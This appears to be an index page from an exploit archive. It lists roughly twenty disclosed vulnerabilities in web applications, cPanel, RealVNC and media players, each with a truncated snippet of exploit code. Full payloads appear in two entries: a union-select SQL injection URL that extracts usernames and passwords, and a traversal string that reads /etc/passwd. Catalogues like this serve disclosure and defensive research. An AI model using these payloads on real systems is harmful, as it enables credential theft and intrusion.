SAS Hotel Management System - id SQL Injection

SAS Hotel Management System - id SQL Injection found by DarkB0x contact darkB0x97ATgooglemail.com greets for str0ke & AlpHaNiX script : SAS Hotel Management System download : Null script home page : http://www.sellatsite.com/sellatsite/hotel.asp Demo : http://www.aebest.com Exploits : ///...

cPanel <= 10.8.x cpwrap root exploit

No description provided by source. !/usr/bin/perl -w 10/01/06 - cPanel = 10.8.x cpwrap root exploit via mysqladmin use strict; haha oh wait.. my $cpwrap = "/usr/local/cpanel/bin/cpwrap"; my $mysqlwrap = "/usr/local/cpanel/bin/mysqlwrap"; my $pwd = pwd; chomp $pwd; $ENV'PERL5LIB' = "$pwd"; if ! -x...

Bloggeruniverse v2Beta (editcomments.php id) SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================== Bloggeruniverse v2Beta editcomments.php id SQL Injection Exploit ================================================================== !/usr/bin/perl...

FlexCMS 2.5 - 'catId' SQL Injection

AUTHOR: MisterRichard FlexCMS Remote SQL Injection Discovered by MisterRichard. Developer site: http://www.flexcms.dk/ Developer has not been notified. Live demo: Injection: www.target.com/flx/webshop/?catId=145%20union%20all%20select%201,2,3,concatusername,char58,password+from+users--...

1024 CMS 1.4.4 - Remote Command Execution / Remote File Inclusion

!/usr/bin/perl 1024 CMS = 1.4.4 Remote Command Execution with RFI c99 Exploit download: http://www.trebledesigns.com/1024cms.zip Author: JosS mail: sys-projectathotmaildotcom site: http://www.hack0wn.com/ team: Spanish Hackers Team - SHT Hack0wn Security Project!! This was written for educational...

RealVNC 4.1.2 (vncviewer.exe) RFB Protocol Remote Code Execution PoC

No description provided by source. !/usr/bin/env python POC: RealVNC 4.1.2 'vncviewer.exe' RFB Protocol Remote Code Execution Vulnerability, BID 30499 Author: Andres Lopez Luksenberg [email protected] import socket serversocket = socket.socketsocket.AFINET, socket.SOCKSTREAM serversocket.bind''...

TxtBlog 1.0 Alpha - Remote Command Execution

!/usr/bin/perl ----------------------------------------------------------------------------- INFORMATIONS ----------------------------------------------------------------------------- App = TxtBlog v 1.0 Alpha Downl = http://downloads.sourceforge.net/txtblogcms/txtblogcms-1.0a.zip Remote Command...

RealVNC 4.1.2 - vncviewer.exe RFB Protocol Remote Code Execution (PoC)

RealVNC 4.1.2 - vncviewer.exe RFB Protocol Remote Code Execution PoC !/usr/bin/env python POC: RealVNC 4.1.2 'vncviewer.exe' RFB Protocol Remote Code Execution Vulnerability, BID 30499 Author: Andres Lopez Luksenberg import socket serversocket = socket.socketsocket.AFINET, socket.SOCKSTREAM...

Joomla! Component ElearningForce Flash Magazine Deluxe - SQL Injection

Joomla! Component ElearningForce Flash Magazine Deluxe - SQL Injection www.turkguvenligi.info / Author : TurkGuvenligi / Mail : [email protected] t4cs1zkr4L - Agdscorp - TheHacker - Fatih - SuSkuN - Zec - DreamTurk - Mr.SheYtaN - Ghost61 - BLaSteR - Desquner Very Very Thanks : TurkguvenLig...

OpenGoo 1.1 Local File Inclusion

OpenGoo 1.1 Local File Inclusion http://www.opengoo.org/ magicquotesgpc = Off registerglobals = On http://site/opengoo/public/upgrade/index.php POST: formdatascriptclass=/../../../../../../../../../../../etc/passwd%00.html Author Notified: Jan. 18 http://nukeit.org...

Merak Media Player 3.2 - '.m3u' File Local Buffer Overflow (PoC)

!/usr/bin/perl -w Author : Houssamix Merak Media Player V3.2 m3u file Local Buffer overflow SEH Download : http://www.qwerks.com/download/3748/merak.zip -------------------------------------------- EAX 00000000 ECX 45454545 EDX 7C9137D8 ntdll.7C9137D8 EBX 00000000 ESP 0013F784 EBP 0013F7A4 ESI...

AJ Auction Pro OOPD 2.3 - id SQL Injection

AJ Auction Pro OOPD 2.3 - id SQL Injection ================================================================================================================== = SSSSS NN N AA K K EEEEE SSSSS TTTTTTTTT EEEEE AA MM MM = = S N N N A A K K E S T E A A M M M M = + SSSSS N N N AAAAAA KKK EEEEE SSSSS T...

Easy Grid ActiveX控件任意文件覆盖漏洞

BUGTRAQ ID: 33272 Easy Grid ActiveX控件是用于打印、预览表格、图标、公式、表达式的工具。 EasyGrid.SGCtrl.32 ActiveX控件（EasyGrid.ocx）没有安全地调用DoSaveFile方式，如果用户受骗访问了恶意网页并向该方式传送了特制参数的话，就会导致向用户系统写入任意文件。 Easy Grid Control Team Easy Grid ActiveX 3.51 厂商补丁： Easy Grid Control Team ----------------------...

DMXReady Job Listing 1.1 - Remote Contents Change

Title : DMXReady Job Listing http://target/path//applications/JobListingManager/incjoblistingmanager.asp Edit - http://target/path//admin/JobListingManager/CategoryManager/list.asp : milw0rm.com 2009-01-14...

XOOPS mydirname参数多个PHP代码注入漏洞

BUGTRAQ ID: 33176 Xoops是非常流行的动态web内容管理系统，用面向对象的PHP编写。...

GOM Player 2.0.12.3375 (.ASX File) Stack Overflow Exploit

Exploit for unknown platform in category local exploits ========================================================= GOM Player 2.0.12.3375 .ASX File Stack Overflow Exploit ========================================================= /------------------------------------------------ GOM Player 2.0.12...

Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal Vulnerability

Exploit for unknown platform in category web applications ========================================================================== Joomla \n"; echo " php $argv0 example.org /joomla\n"; echo " php $argv0 example.org /joomla ../../\n"; exit; echo "http://" . $host . $path . "/images/stories/\n\n"...

RiotPix <= 0.61 (forumid) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ===================================================== RiotPix \n\n", $argv0; exit; list$sploit, $target, $username, $topicid = $argv; $charsArr = array48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102; $pos = 1; echo "...

plxAutoReminder 3.7 (id) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications =========================================================== plxAutoReminder 3.7 id Remote SQL Injection Vulnerability =========================================================== plx Autoreminder v3.7 id R-Sql Ynj...

Windows/x86 - calc.exe + Null-Free Shellcode (100 bytes)

Windows/x86 - calc.exe + Null-Free Shellcode 100 bytes. Shellcode exploit for Windowsx86 platform. Tags: Metasploit Framework MSF ; Copyright c 2009-2010, Berend-Jan "SkyLined" Wever ; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/ ; All rights reserved. See COPYRIGHT.txt fo...